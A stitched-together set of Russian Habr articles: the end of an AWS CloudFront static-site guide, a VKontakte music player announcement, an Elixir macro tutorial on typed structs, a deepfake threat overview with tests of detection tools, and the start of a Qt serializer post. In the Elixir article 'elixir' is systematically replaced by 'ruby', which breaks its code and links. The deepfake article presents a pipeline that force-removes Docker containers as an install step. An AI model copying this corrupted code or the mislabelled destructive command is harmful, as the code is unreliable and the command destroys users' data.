Для этого отправляемся в интерфейс CloudFront и создаем новую сущность под названием Distribution. Выбираем в Origin Domain Name tech-plesk-space.s3.amazonaws.com. То есть S3 у нас будет выступать origin’ом, а раздачу контента будет выполнять CloudFront. Кто не знаком с идеологией CDN, origin — это хранилище оригинальных файлов, а edges — это серверы, которые кэшируют данные origin’а и непосредственно раздают контент клиентам. Также для красоты можно еще изменить настройку Viewer Redirect Policy и выставить ее в положение “Redirect HTTP to HTTPS”.
В качестве Alternate Domain Names (CNAMEs) указываем tech.plesk.space. Не забываем и про SSL Certificate: там выбираем Custom SSL Certificate и из выпадашки (которая совершенно не выглядит выпадашкой) выбираем нужный нам сертификат.
Еще одна вещь, которую стоит сделать, — это задать Default Root Object. Здесь мы укажем index.html. Без этого действия при обращении к сайту без указания файла (то есть написав в браузере просто <https://tech.plesk.space/>) мы получим 403 ошибку. В контексте веб-серверов такая настройка обычно называется Directory Index.
Жмем кнопку “Создать” и набираемся терпения. Процесс может занять минут 10.
После того, как Distribution был создан, нужно немного поправить доступ к origin. Для этого отправляемся на редактирование в соответствующую вкладку. Далее выбираем, что мы хотим ограничить доступ, настройка Restrict Bucket Access; хотим создать новую Access Identity и разрешаем обновить bucket policy. Выглядеть это должно, примерно, так:
Зачем было нужно действие выше? Вспоминаем, что при настройки S3 мы оставили опцию “блокировать весь доступ” по-умолчанию. Таким образом, CloudFront не получил бы возможность читать контент из bucket’а.
Остается последний штрих: указать в Route53, что именно будет служить у нас A-записями для домена tech.plesk.space. Для этого идем в интерфейс Route53, выбираем Create New Record Set, выбираем тип A-запись, но вместо самой записи выбираем, что у нас Alias, а из выпадающего списка выбираем соответствующий CloudFront distribution. Выглядеть это должно, примерно, так:
Открываем браузер, вводим <https://tech.plesk.space/> и видим наш сайт:
Для интереса смотрим A-записи:
Проверяем с помощью curl, что нас действительно обслуживает CloudFront:
Как видно из последних 5 заголовков, это действительно так.
На этом, в общем-то, и всё. Сайт запущен, работает и доступен клиентам.
Прочие моменты
--------------
Я не затрагивал тему логирования запросов. По-умолчанию оно выключено, но его можно настроить. Логи будут складываться в S3 bucket. Нужно учитывать специфику подхода к CDN (тут Amazon совершенно не уникален) о том, что такое логирование — это не инструмент real time отладки. Логи доставляются с приличными задержками, а документация говорит, что такие задержки могут быть до 24 часов. Из практики могу сказать, что подключение Google Analytics почти всегда снимало вопросы про логирование для таких статических сайтов.
Еще один момент, который хотел кратко упомянуть, это цена. В случае free tier и небольшой нагрузки стоимость будет около 50 центов, и то только на Route53. Без free tier получалось где-то 1-2 доллара в месяц. В целом, наверное, может показаться, что это даже дорого для хостинга статического сайта, но, на самом деле, в случае с AWS, у нас огромный потенциал для развития проекта (масштабируемость, оплата по мере роста, глобальная доступность, огромное количество других удобных сервисов и многое-многое другое).
Заключение
----------
Как я уже упоминал в начале, [официальный туториал](https://aws.amazon.com/getting-started/hands-on/host-static-website/) от Amazon теперь советует использовать сервис [AWS Amplify](https://aws.amazon.com/amplify/). Он действительно удобней: тут и подключение Git-репозитория, и полуавтоматическая настройка ряда вышеописанных вещей. Но, порой, нужно разобраться с уже настроенной инфраструктурой или организовать некоторые вариации хостинга, из-за чего уже придется разбираться со всеми нюансами.
Еще один интересный взгляд на данную проблему — это сервисы типа [Netlify](https://www.netlify.com/). Они еще сильнее упрощают некоторые вещи (правда, бывает и усложняют), но, конечно, и их использование будет стоить дополнительных денег.
Надеюсь, статья поможет сберечь время при настройке хостинга статического сайта в AWS. | https://habr.com/ru/post/526454/ | null | ru | null |
# Songo: Desktop-ный плеер Вконтакте
 Я часто видел, как люди слушают музыку вконтакте из браузера. Причем слушают, как обычный десктопный плеер. Я же испытываю отвращение к такого рода использованию ибо люблю вкладки в браузере закрывать. Так и родилась идея этого приложения, которой я бредил несколько месяцев, прежде чем понять, что нужно сделать, чтобы извлечь это из своей головы.
Умеет плэйлисты, сворачиваться в трэй и главное никогда не станет платным, как россыпь других прокси-сервисов типа Prostopleer'а. Исходники открыты под лицензией BSD. Так что, если меня собъёт автобус, а аккаунт Вконтакте украдут, каждый может вбить собственный идентификатор приложения и наслаждаться музыкой.
Трэки скачиваются и складываются, категоризированные по исполнителям в поддиректорию cache директории плеера. Не нужно ломать голову браузером.
Самой сложной задачей оказалось, пожалуй, проигрывание mp3 с поддержкой seek. Для этого пришлось обернуть libmpg123 с помощью libjna, потому как ни одна из существующих «pure Java»-библиотек seek не поддерживает.
Интерфейс вдохновлен плеером Sonata, которым я пользуюсь для локальной музыки.
В комментариях хотелось бы услышать нужно ли такое кому-нибудь кроме меня.
#### Зависимости
Написано на Java, так что нужен JRE.
**Linux**
Требуются libwebkitgtk2 и libmpg123(если он у вас ещё не установлен). В моём любимом Arch Linux'е они устанавливаются вот так:
```
# pacman -S webkitgtk2 libmpg123
```
Надеюсь подскажут имена пакетов Ubuntu, Debian и прочих.
**Mac OS**
Устанавливаем mpg123 из homebrew.
#### Установка
Никаких премудростей: распаковываем архив и запускаем bat/sh-скрипт.
#### Скриншоты Linux-версии
Авторизация:
Поиск:
Плэйлист:
#### Бинарные архивы и исходники
Linux32 — [songo-0.0.1-SNAPSHOT-linux32.tar.gz](http://github.com/siasia/songo-artifacts/raw/linux32/songo-0.0.1-SNAPSHOT-linux32.tar.gz)
Linux64 — [songo-0.0.1-SNAPSHOT-linux64.tar.gz](http://github.com/siasia/songo-artifacts/raw/linux64/songo-0.0.1-SNAPSHOT-linux64.tar.gz)
Windows32 — [songo-0.0.1-SNAPSHOT-win32.zip](http://github.com/siasia/songo-artifacts/raw/win32/songo-0.0.1-SNAPSHOT-win32.zip)
Windows64 — [songo-0.0.1-SNAPSHOT-win64.zip](http://github.com/siasia/songo-artifacts/raw/win64/songo-0.0.1-SNAPSHOT-win64.zip)
MacOS32 — [songo-0.0.1-SNAPSHOT-mac32.zip](http://github.com/siasia/songo-artifacts/raw/mac32/songo-0.0.1-SNAPSHOT-mac32.zip)
MacOS64 — [songo-0.0.1-SNAPSHOT-mac64.zip](http://github.com/siasia/songo-artifacts/raw/mac64/songo-0.0.1-SNAPSHOT-mac64.zip)
Исходники — [github.com/siasia/songo](http://github.com/siasia/songo)
**Приятного прослушивания!** | https://habr.com/ru/post/162255/ | null | ru | null |
# Типы, где их не ждали
Давайте представим себе реализацию модуля `Scaffold`, который генерирует структуру с предопределенными пользовательскими полями и инжектит ее в вызываемый модуль при помощи `use Scaffold`. При вызове `use Scaffold, fields: foo: [custom_type()], ...` — мы хотим реализовать правильный тип в `Consumer` модуле (`common_field` в примере ниже определен в `Scaffold` или еще где-нибудь извне).
```
@type t :: %Consumer{
common_field: [atom()],
foo: [custom_type()],
...
}
```
Было бы круто, если бы мы могли точно сгенерировать тип `Consumer.t()` для дальнейшего использования и создать соответствующую документацию для пользователей нашего нового модуля.
Пример посложнее будет выглядеть так:
```
defmodule Scaffold do
defmacro __using__(opts) do
quote do
@fields unquote(opts[:fields])
@type t :: %__MODULE__{
version: atom()
# magic
}
defstruct @fields
end
end
end
defmodule Consumer do
use Scaffold, fields: [foo: integer(), bar: binary()]
end
```
и, после компиляции:
```
defmodule Consumer do
@type t :: %Consumer{
version: atom(),
foo: integer(),
bar: binary()
}
defstruct ~w|version foo bar|a
end
```
Выглядит несложно, да?
### Наивный подход
Давайте начнем с анализа того, что за AST мы получим в `Scaffold.__using__/1`.
```
defmacro __using__(opts) do
IO.inspect(opts)
end
#⇒ [fields: [foo: {:integer, [line: 2], []},
# bar: {:binary, [line: 2], []}]]
```
Отлично. Выглядит так, как будто мы в шаге от успеха.
```
quote do
custom_types = unquote(opts[:fields])
...
end
#⇒ == Compilation error in file lib/consumer.ex ==
# ** (CompileError) lib/consumer.ex:2: undefined function integer/0
```
Бамс! Типы — это чего-то особенного, как говорят в районе Привоза; мы не можем просто взять и достать их из AST где попало. Может быть, `unquote` по месту сработает?
```
@type t :: %__MODULE__{
unquote_splicing([{:version, atom()} | opts[:fields]])
}
#⇒ == Compilation error in file lib/scaffold.ex ==
# ** (CompileError) lib/scaffold.ex:11: undefined function atom/0
```
Как бы не так. Типы — это утомительно; спросите любого, кто зарабатывает на жизнь хаскелем (и это еще в хаскеле типы курильщика; настоящие — зависимые — типы в сто раз полезнее, но еще в двести раз сложнее).
Ладно, кажется, нам нужно собрать все это богатство в AST и инжектнуть его целиком, а не по частям, чтобы компилятор увидел сразу правильное объявление.
### Построение типа в AST
Я опущу тут пересказ нескольких часов моих метаний, мучений, и тычков пальцем в небо. Все знают, что я пишу код в основном наугад, ожидая, что вдруг какая-нибудь комбинация этих строк скомпилируется и заработает. В общем, сложности тут с контекстом. Мы должны пропихнуть полученные определения полей в неизменном виде напрямую в макрос, объявляющий тип, ни разу не попытавшись это AST анквотнуть (потому что в момент `unquote` типы наподобие `binary()` будут немедленно приняты за обыкновенную функцию и ~~убиты из базуки~~ вызваны компилятором напрямую, приводя к `CompileError`.
Кроме того, мы не можем использовать обычные функции *внутри* `quote do`, потому что все содержимое блока, переданного в `quote`, уже само по себе — AST.
```
quote do
Enum.map([:foo, :bar], & &1)
end
#⇒ {
# {:., [], [{:__aliases__, [alias: false], [:Enum]}, :map]}, [],
# [[:foo, :bar], {:&, [], [{:&, [], [1]}]}]}
```
Видите? Вместо вызова функции, мы получили ее препарированное AST, все эти `Enum`, `:map`, и прочий маловнятный мусор. Иными словами, нам придется создать AST определения типа вне блока `quote` и потом просто анквотнуть внутри него. Давайте попробуем.
### Чуть менее наивная попытка
Итак, нам надо *инжектнуть* AST как AST, не пытаясь его анквотнуть. Звучит устрашающе? — Вовсе нет, отнюдь.
```
defmacro __using__(opts) do
fields = opts[:fields]
keys = Keyword.keys(fields)
type = ???
quote location: :keep do
@type t :: unquote(type)
defstruct unquote(keys)
end
end
```
Все, что нам нужно сделать сейчас, — это произвести надлежащий AST, все остальное в порядке. Ну, пусть *ruby* сделает это за нас!
```
iex|1 quote do
...|1 %Foo{version: atom(), foo: binary()}
...|1 end
#⇒ {:%, [],
# [
# {:__aliases__, [alias: false], [:Foo]},
# {:%{}, [], [version: {:atom, [], []}, foo: {:binary, [], []}]}
# ]}
```
А нельзя ли попроще?
```
iex|2 quote do
...|2 %{__struct__: Foo, version: atom(), foo: binary()}
...|2 end
#⇒ {:%{}, [],
# [
# __struct__: {:__aliases__, [alias: false], [:Foo]},
# version: {:atom, [], []},
# foo: {:binary, [], []}
# ]}
```
Ну, по крайней мере, выглядит это не слишком отталкивающе и достаточно многообещающе. Пора переходить к написанию рабочего кода.
### Почти работающее решение
```
defmacro __using__(opts) do
fields = opts[:fields]
keys = Keyword.keys(fields)
type =
{:%{}, [],
[
{:__struct__, {:__MODULE__, [], ruby}},
{:version, {:atom, [], []}}
| fields
]}
quote location: :keep do
@type t :: unquote(type)
defstruct unquote(keys)
end
end
```
или, если нет цели пробросить типы из собственно `Scaffold`, даже проще (как мне вот тут подсказали: [*Qqwy* here](https://rubyforum.com/t/how-to-generate-custom-types-with-macros/33122/4?u=mudasobwa)). Осторожно, оно не будет работать с проброшенными типами, `version: atom()` за пределами блока `quote` выбросит исключение.
```
defmacro __using__(opts) do
fields = opts[:fields]
keys = Keyword.keys(fields)
fields_with_struct_name = [__struct__: __CALLER__.module] ++ fields
quote location: :keep do
@type t :: %{unquote_splicing(fields_with_struct)}
defstruct unquote(keys)
end
end
```
Вот что получится в результате генерации документации для целевого модуля (`mix docs`):
### Примечание: трюк с фрагментом AST
Но что, если у нас уже есть сложный блок AST внутри нашего `__using__/1` макроса, который использует значения в кавычках? Переписать тонну кода, чтобы в результате запутаться в бесконечной череде вызовов `unquote` изнутри `quote`? Это просто даже не всегда возможно, если мы хотим иметь доступ ко всему, что объявлено внутри целевого модуля. На наше счастье, существует способ попроще.
> **NB** для краткости я покажу простое решение для объявления всех пользовательских полей, имеющих тип `atom()`, которое тривиально расширяеься до принятия любых типов из входных параметров, включая внешние, такие как `GenServer.on_start()` и ему подобные. Эту часть я оставлю для энтузиастов в виде домашнего задания.
Итак, нам надо сгенерировать тип *внутри* блока `quote do`, потому что мы не можем передавать туда-сюда `atom()` (оно взовется с `CompileError`, как я показал выше). Хначит, что-нибудь типа такого:
```
keys = Keyword.keys(fields)
type =
{:%{}, [],
[
{:__struct__, {:__MODULE__, [], ruby}},
{:version, {:atom, [], []}}
| Enum.zip(keys, Stream.cycle([{:atom, [], []}]))
]}
```
Это все хорошо, но как теперь добавить этот АСТ в декларацию `@type`? На помощь приходит очень удобная функция эликсира под названием [Quoted Fragment](https://hexdocs.pm/ruby/Kernel.SpecialForms.html#quote/2-binding-and-unquote-fragments), специально добавленный в язык ради генерации кода во время компиляциию Например:
```
defmodule Squares do
Enum.each(1..42, fn i ->
def unquote(:"squared_#{i}")(),
do: unquote(i) * unquote(i)
end)
end
Squares.squared_5
#⇒ 25
```
*Quoted Fragments* автоматически распознаются компилятором внутри блоков `quote`, с напрямую переданным контекстом (`bind_quoted:`). Проще простого.
```
defmacro __using__(opts) do
keys = Keyword.keys(opts[:fields])
quote location: :keep, bind_quoted: [keys: keys] do
type =
{:%{}, [],
[
{:__struct__, {:__MODULE__, [], ruby}},
{:version, {:atom, [], []}}
| Enum.zip(keys, Stream.cycle([{:atom, [], []}]))
]}
# ⇓⇓⇓⇓⇓⇓⇓⇓⇓⇓⇓⇓⇓
@type t :: unquote(type)
defstruct keys
end
end
```
Одинокий вызов `unquote/1` тут *разрешен*, потому что `bind_quoted:` был напрямую указан как первый аргумент в вызове `quote/2`.
---
Удачного внедрения! | https://habr.com/ru/post/527646/ | null | ru | null |
# DeepFake в условиях современности: что, почему и возможно ли защититься
Дипфейк. Что первое приходит на ум, когда вы слышите или видите это слово? Наверное, какие-то картинки или видео откровенного характера, но что если я скажу вам, что такой жанр подделок давно уже вышел за любые рамки здравого смысла и проник абсолютно в каждую отрасль, которая, так или иначе, связана с интернетом?
После определенной череды событий, а именно пандемии COVID-19, в 2020 году, активизировалась форсированная интеграция компьютерных технологий в массы, которая выделила среди общего количества группу неопытных и легко внушаемых пользователей, что создало благоприятную почву для развития дипфейков.
Подделки, созданные с использованием ИИ, не всегда производят лишь смеха ради. Всё чаще они используются во злой умысел, и ребром стоит вопрос об их обнаружении, но обо всем по порядку.
Что же такое DeepFake на самом деле?
------------------------------------
Термин говорит сам за себя, и ясен даже простому обывателю, ведь это соединение двух слов «глубокий» (в контексте ИИ чаще понимается как глубокое обучение) и «подделка». Глубокое обучение — это совокупность методов машинного обучения, основанных на создании представлений, а не специализированных алгоритмов под конкретные задачи. В этом определении и заложен основной принцип искусственного интеллекта. Что такое «подделка», думаю, объяснять не стоит.
DeepFake — это изображения или видео, в основах генерации которых используют технологии искусственного интеллекта, в результате чего один фрагмент накладывается поверх другого с поразительной точностью и очень часто различить «на глаз», где подделка, а где оригинал, становится невозможно.
Эта технология, по своей сути, была создана лишь для того, чтобы подделка осталась незамеченной, хотя изначально она была предназначена лишь для повышения анонимности в сети. И основной её характеристикой как раз таки является «возможность казаться реальной», поэтому, по моему скромному мнению, большинство преступлений, связанных с дипфейками, так и останутся незамеченными.
Для примера — рассмотрите эту гифку. Если бы вы никогда не видели этот фильм прежде и смотрели на изображение справа, смогли бы вы понять, что здесь что-то не так? Может, и взаправду Николас Кейдж сыграл в этом фильме барышню или, быть может, это какой-то неудачный дубль с проб?
Конечно, если обратить внимание на картинку слева, то все становится очевидно.
Также добавлю от себя ещё такое определение. DeepFace — это изображение человеческого лица, генерируемое ИИ (искусственным интеллектом, далее буду использовать лишь сокращенный вариант) на основе его представлений о том, как должен выглядеть человек. Но это одновременно означает, что такого человека никогда в принципе не существовало, и его лицо — лишь «плод воображения» машины.
Можете ли вы представить, что лицо этого мужчины никогда не существовало? А это так. В этой статье я хотел бы отметить особую опасность таких вот генераторов, ведь злоумышленники зачастую используют эти фото в своих схемах, где нужно выдать себя за кого-то другого.
Проблематика DeepFake
---------------------
Несмотря на то, что о дипфейках трубят из всех возможных источников, [исследование журнала “Security Week”](https://www.securityweek.com/growing-threat-deepfake-videos) в 2019 году показало, что 72% пользователей до сих пор не имеют четкого представления о том, что же это за подделка такая и как её определить.
Зачастую фальшивки используют для создания дезинформации или ложных сведений, которые исходят из якобы проверенного источника. Таким образом, мошенник может влиять на гражданское общество, изменять мнение масс, позиции и делать все, что ему только заблагорассудится. Но существует и второй вектор, который направлен против отдельных лиц или компаний для получения финансовой прибыли, простыми словами — для шантажа.
Угроза кибербезопасности для компаний заключается в том, что [дипфейки](https://www.securityweek.com/growing-threat-deepfake-videos) могут повысить эффективность фишинга и упростить мошенничество с идентификацией, манипулировать репутацией компании.
Для наглядности представьте себе следующую ситуацию. Заседание директоров некой компании в онлайн-режиме. Все тихо, мирно, вы ведете переговоры с подрядчиками, или что там ещё делают на заседаниях. И вдруг на конференцию врывается ваш руководитель, и начинает нести всякую чушь, например, требовать срочно перевести ему пять тысяч рублей на кошелек Биткоин. Да, скорее всего, удивитесь поведению руководителя, но также, вероятно, поддадитесь на его уговоры, ведь у вас даже мысли не возникнет, что это не он. Так работает дипфейк...
Теперь перейдем к [отчету от CyberСube](https://www.cybcube.com/news/2021/01/deep-fake-losses-could-be-major-cybercube-warns), которые поведали о статистике использования дипфейков в киберпреступлениях.
«Способность создавать реалистичные аудио- и видеофейки с помощью ИИ неуклонно растет. Дипфейки способны не только дискредитировать влиятельных людей, но и потенциально нанести вред обществу в целом, в связи с чем многие эксперты по безопасности прогнозируют, что дипфейки могут стать серьезной угрозой уже в 2021-2022 гг.».
На момент публикации этого отчета в нем шла речь о том, что все ещё можно отличить подделку, лишь присмотревшись. Прошло два года и автор словно в воду смотрел, ведь на данном этапе развития качественные фальшивки практически неотличимы от оригинала.
> «Новые и появляющиеся методы социальной инженерии, такие как фальшивые видео и аудио, коренным образом изменят ландшафт киберугроз и станут технически осуществимыми и экономически жизнеспособными для преступных организаций любого размера», — говорится в отчёте CyberCube.
>
>
По статистике за 2020 год только в США было совершено более миллиона махинаций с использованием технологии дипфейк.
В том же 2020 году [выходит отчет Университетского колледжа Лондона](https://www.ucl.ac.uk/news/2020/aug/deepfakes-ranked-most-serious-ai-crime-threat) (UCL), фальшивый аудио- или видеоконтент был признан экспертами наиболее тревожным использованием ИИ с точки зрения его потенциального применения для совершения преступлений или терроризма.
В этом же отчете авторы добавили небольшое примечание, что достаточно мало преступников имеют соответствующие умения для создания суперреалистичных подделок. По правде говоря, последнее утверждение не сыскало подтверждения в сегодняшних реалиях.
Основные векторы подделок в 2022 году
-------------------------------------
1. Финансовое вымогательство
Преступления, связанные с финансами, становятся все более и более изящными с каждым днем благодаря развитию технологии дипфейков. Существует несколько десятков методов проведения всего этого, но давайте выделим парочку наиболее актуальных и популярных:
* Фальсификация видео- или фотоматериалов в унижающей или компрометирующей манере; преступник, сгенерировав такие материалы, начинает требовать у жертвы выкуп, угрожая отправить подделки в сеть или кому-то из родных/близких.
* Как бы ни было смешно, но пока что технология FaceID далека от реальности. Её прямая уязвимость заключается в том, что она не способна различать подделки. Поэтому к полноценному вектору атак с использованием дипфейков можно отнести и обход FaceID банковских приложений.
* Использование программного обеспечения дипфейк для подделки голоса с последующей манипуляцией окружением жертвы. Представьте ситуацию, когда злоумышленник уже получил доступ к мессенджеру какого-то директора фирмы. Естественно, он может просто создать текстовое сообщение с подробным описанием инструкций по переводу денег на нужный ему счет. Но если смотреть с точки зрения психологии, то подчиненный, услышав голос своего шефа, явно будет доверять сказанному больше, нежели просто тексту. Да и, как по мне, здесь попросту исчезают любые сомнения. Сюда же можно отнести и «Алло, мам, я попал в аварию, мне срочно нужны деньги».
2. DeepNudes как наиболее деструктивный метод подделки
История дипфейков DeepNude началась с одноименного приложения, которое позволяло пользователям удалять элементы одежды с фотографий. Однако в скором времени начало массово использоваться злоумышленниками для шантажа. Приложение было закрыто, но название DeepNude крепко закрепилось за подделками такого типа.
Естественно, deepnudes используется не только в развлекательных целях. Такая технология также служит основательным рычагом давления во время шантажа.
Под прямой удар всего этого дела попали различные блогеры и медийные интернет-персоны. И не только девушки. Фундаментально метод нацелен на всю социальную жизнь жертвы и требует подготовки в виде изучения социальных контактов и всего прочего.
Созданная подделка отправляется жертве, а после, под угрозой дальнейшего распространения, злоумышленник требует выкуп. Хотя после его уплаты материалы зачастую все равно утекают в сеть.
Об истории и детальной проблематике можете почитать вот [здесь](https://xakep.ru/2019/08/15/deepnude/), прелестная статья, которая детально все описывает.
3. Подделка паспортных данных с целью дальнейшего использования в мошеннических схемах
В 2021 году в Китае раскрыли [группу мошенников](https://vc.ru/legal/228953-moshenniki-v-kitae-s-pomoshchyu-dipfeykov-obmanuli-gossistemu-raspoznavaniya-lic-na-76-2-mln), которые подделывали паспортные данные и оформляли интернет-кредиты, обманывали налоговую с помощью технологии дипфейк. За несколько лет своей деятельности им удалось заработать около 75 млн $.
4. Политические манипуляции
Думаю, что ни для кого не секрет, что в политике важную роль играет мнение общественности. С помощью технологии дипфейк и нескольких одаренных лиц можно создать целую империю поддельного контента, которая будет напрямую влиять на общественность.
Допустим, можно просто заменить лицо одного человека на другое, но это является не самым идеальным методом. Ведь если аккуратно изменить движение губ на видеоролике и наложить на него совершенно другую аудиодорожку, которую аналогичным образом подделать, то можно породить контент, в котором человек произносит совершенно другие вещи, нежели в оригинале.
Центр безопасности и новых технологий (CSET) Джорджтаунской школы дипломатической службы Уолша в июле 2021 г. подготовил [развёрнутый доклад о дипфейках.](https://cset.georgetown.edu/publication/deepfakes-a-grounded-threat-assessment/)
**Основные тезисы доклада следующие:**
Во-первых, злонамеренное использование грубо сгенерированных дипфейков станет проще со временем по мере превращения технологии в товар.
Во-вторых, специализированные дипфейки, созданные технически продвинутыми участниками, со временем будут представлять большие угрозы.
Авторы доклада считают, что технологии дипфейк все чаще интегрируются в программные платформы, где не требуются специальные технические знания. Простота в их использовании упрощает «замену лиц» — удаление одного лица из изображения или видео и вставку другого – и делает их все больше доступными для пользователей без технических знаний.
### Обнаружение дипфейков: мелкие детали уже не помогут
В 2021 году в свет вышла [небольшая заметка](https://lenta.ru/news/2021/03/28/deepfake/), в которой рассказывалось об основных недочетах подделок и как их можно определить. Кратко выделю основные факты:
1. Недочеты от подделки к подделке повторяются, что указывает на несовершенство существующих технологий дипфейк.
2. Фальсифицированные материалы первого поколения (первые подделки в помощью ИИ) отличаются наличием разного цвета глаз. В природе гетерохромия — редкость. Но в сети она встречается гораздо чаще, нежели в реальном мире. Также усомниться в подлинности изображения стоит, если на портрете разные расстояния от центра глаз до края радужной оболочки, а лимбы не обладают правильным округлым контуром.
3. Зубы для дипфейков — проблема проблем. Их прорисовка зачастую хромает. Слева — подделка (очень некачественная с множеством артефактов), справа — оригинал.
4. Сравнения отражений в роговице глаза считается самым продвинутым методом определения подделок. Правда, сработает это лишь в случае, когда злоумышленник не шибко умен или ленив. Ведь на на данном этапе развития убрать различия в отражениях не составит труда, и я вам это докажу.
Проверяем популярные инструменты для определения дипфейков на собственной шкуре
-------------------------------------------------------------------------------
Для создания этой главы я потратил около 24 часов на обучение модели в [DeepFaceLab](https://github.com/iperov/DeepFaceLab), использовать уже готовые я не рискнул, так как был большой шанс того, что они не подойдут для наших целей. А онлайн-генераторы делают все настолько плохо, что даже невооруженным взглядом можно понять, что это подделка.
Для определения подделок, сделанных ИИ мы будем использовать ИИ. Клин клином вышибают? Получается, что так. Представляю вам список репозиториев, которые примут участие в нашем небольшом эксперименте, они имеют наибольшее количество звезд на GitHUB:
1. dessa-oss/DeepFake-Detection
2. FaceOnLive/DeepFake-Detection-SDK-Linux
3. dessa-oss/profake-detection
4. Intel Real-Time Deepfake Detector
Сразу стоит отметить, что каждая из представленных мною программ-утилит очень требовательна. И только для их запуска ваше устройство должно иметь минимум 32 ГБ оперативной памяти и современный многоядерный процессор. Во избежание лишней нагрузки на свои девайсы, рекомендую воспользоваться виртуальной машиной.
Лично мой выбор пал на [Google Shell](https://cloud.google.com/shell) — быстро, просто и без суеты.
Установим первый репозиторий:
1. Сперва нужно провести инсталляцию Nvidia Doker’a, сделать это можно с помощью одной длинной команды:
```
docker volume ls —q —f driver=nvidia—docker | xargs —r —I{} —n1 docker ps —q —a —f volume={} | xargs —r docker rm —f
sudo apt—get purge nvidia—docker
```
2. А далее просто копируем репозиторий себе:
```
sudo apt install ffmpeg
git clone https://github.com/dessa—oss/DeepFake—Detection.git
cd DeepFake—Detection
```
3. После этого нам нужно запустить скачивание Фейс Сетов, то бишь образцов лиц подделок:
```
bash restructure_data.sh faceforensics_download.py
```
4. А затем запустить обучение модели: python3 train.py
Само обучение может занять колоссальное время, но чем дольше, тем лучше. После 12 часов обучения, пробуем определить, является ли мой дипфейк (скрин ниже) в глазах ИИ действительным:
```
python3 hparams_search.py 1.jpg
```
И результат неутешительный. А вот Тома Хенкса распознало отлично, хотя в случае с его подделкой там и прибегать к ИИ не нужно.
Второй репозиторий, оказалось, имеет удобный [Web-интерфейс](https://portfolio.faceonlive.com/) и не нуждается в инсталляции. Он без особых проблем определил созданный мною дипфейк, а вот справится ли он с более тяжелой задачей... Давайте проверим.
И снова успешное определение. Действительно, неплохо.
О третьем репозитории говорить ничего не стану, так как он полностью не оправдал количество звёзд и не определяет даже самую плохую подделку.
А теперь поговорим об Intel Real-Time Deepfake Detector, который побудил меня к написанию этой статьи.
Intel представила продукт, который является самым первым в мире [детектором дипфейков в реальном времени](https://www.intel.com/content/www/us/en/newsroom/news/intel-introduces-real-time-deepfake-detector.html#gs.kami5k). Они утверждают, что FakeCatcher имеет точность 96% и работает путем анализа потока в видеопикселях с использованием инновационной фотоплетизмографии ([PPG](https://www.nature.com/articles/s41746-019-0136-7)).
FakeCatcher отличается от большинства детекторов, основанных на глубоком обучении, тем, что он ищет подлинные подсказки в реальных видео, а не просматривает необработанные данные, чтобы обнаружить признаки недостоверности. Его метод основан на PPG, методе, используемом для измерения количества света, который либо поглощается, либо отражается кровеносными сосудами в живой ткани. Когда наши сердца качают кровь, вены меняют цвет, и эти сигналы улавливаются технологией, чтобы определить, является ли видео подделкой или нет.
В интервью VentureBeat Демир (один из создателей инновационного приложения) сказал, что FakeCatcher уникален, потому что сигналы PPG «ранее не применялись к проблеме дипфейка». Детектор собирает эти сигналы с 32 точек на лице, прежде чем алгоритмы преобразуют их в пространственно-временные карты, и до того как будет принято решение о том, является ли видео реальным или фальшивым.
Intel говорит, что детектор может использоваться платформами социальных сетей, чтобы пользователи не загружали вредоносные дипфейки, а новостные организации могут использовать его для предотвращения публикации подделок.
На данный момент инструмент доступен в режиме тестирования, потому давайте проверим, справится ли он с определением нашего дипфейка.
И он безоговорочно определяет любое фото или видео из сети интернет, включая и сделанный лично мной.
**Небольшие итоги тестирования:**
1. Первое место получает FakeCatcher от Intel, который с легкостью определил 19 из 20 дипфейков.
2. Второе место получает репозиторий из Гитхаб — DeepFake-Detection-SDK. 12 из 20 определений. Это 60%, а именно такое значение было указано в его описании.
3. Третье место занимает репозиторий DeepFake-Detection-oss — 10 из 20 определений. Это 50% и на 20% ниже, чем было заявлено.
4. Аутсайдер — репозиторий из ГитХаб profake-detection. 2 из 20. Тут без комментариев.
Помимо этих репозиториев, я также решил проверить и различные сервисы, они очень просты в использовании, но для некоторых потребуется регистрация или активация пробного периода. Могу сказать, что большинство из них нацелены на определение подделок ужасного качества:
1. Первое место в этом списке получил [deepware.ai](https://scanner.deepware.ai/), определив 11 из 20 дипфейковых видео.
2. Второе место за [duckduckgoose.ai](https://www.duckduckgoose.ai/) с 10 из 20 определений.
3. Третье место за [Reality Defender](https://realitydefender.com/) с 9 из 20 определений.
Выводы
------
Дипфейк — технология, основанная на ИИ, которая позволяет подделывать изображения, а именно человеческие лица или их части, с поразительной точностью. На данном этапе развития DeepFake можно причислить к одной из самых опасных угроз кибербезопасности последних годов.
Но вместе с прогрессирующей технологией подделки развиваются и методы её разоблачения. Сегодня мы разобрали самые популярные репозитории и ресурсы, которые представляют возможность определить фальсификации, и представили некий топ. Intel — класс! Ожидаю полноценного релиза для более глубокого изучения функционала этого детектора.
А на этом у меня все. Бывайте.
**Автор статьи** [**@DeathDay**](https://habr.com/users/deathday)
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/707246/ | null | ru | null |
# QSerializer: решение для простой сериализации JSON/XML
Привет, Хабр!
Подумалось мне, что как-то несправедливо получается — у Java, С#, Go, Python и т.д. есть библиотеки для комфортной сериализации объектных данных в модные нынче JSON и XML, а в С++ то ли забыли, то ли не захотели, то ли и не особо надо, то ли сложно все это, а может и все вместе. Так что я решил это дело исправить.
Все подробности, как обычно, под катом.
Предыстория
-----------
Вновь я решил заняться очередным pet-проектом, суть которого заключалась в клиент-серверном обмене, сервером же должна была выступать любимая многими RaspberryPi. Помимо прочего, меня интересовал вопрос создания «точек сохранения» — так я мог бы максимально просто, в рамках прототипа, сохранить состояние объекта перед выходом и восстановиться при следующем запуске. По причине необоснованной неприязни к Python и моему весьма теплому отношению к Qt, я выбрал именно Qt & C++. Писать классы и спагетти-функции разбора JSON — то еще удовольствие, нужно было какое-то универсальное и в то же время легкое решение моей проблемы. «Надо разбираться», — сказал я себе.
Для начала немного о терминах:
> Сериализация— процесс перевода какой-либо структуры данных в последовательность битов. Обратной к операции сериализации является операция десериализации (структуризации) — восстановление начального состояния структуры данных из битовой последовательности.
>
>
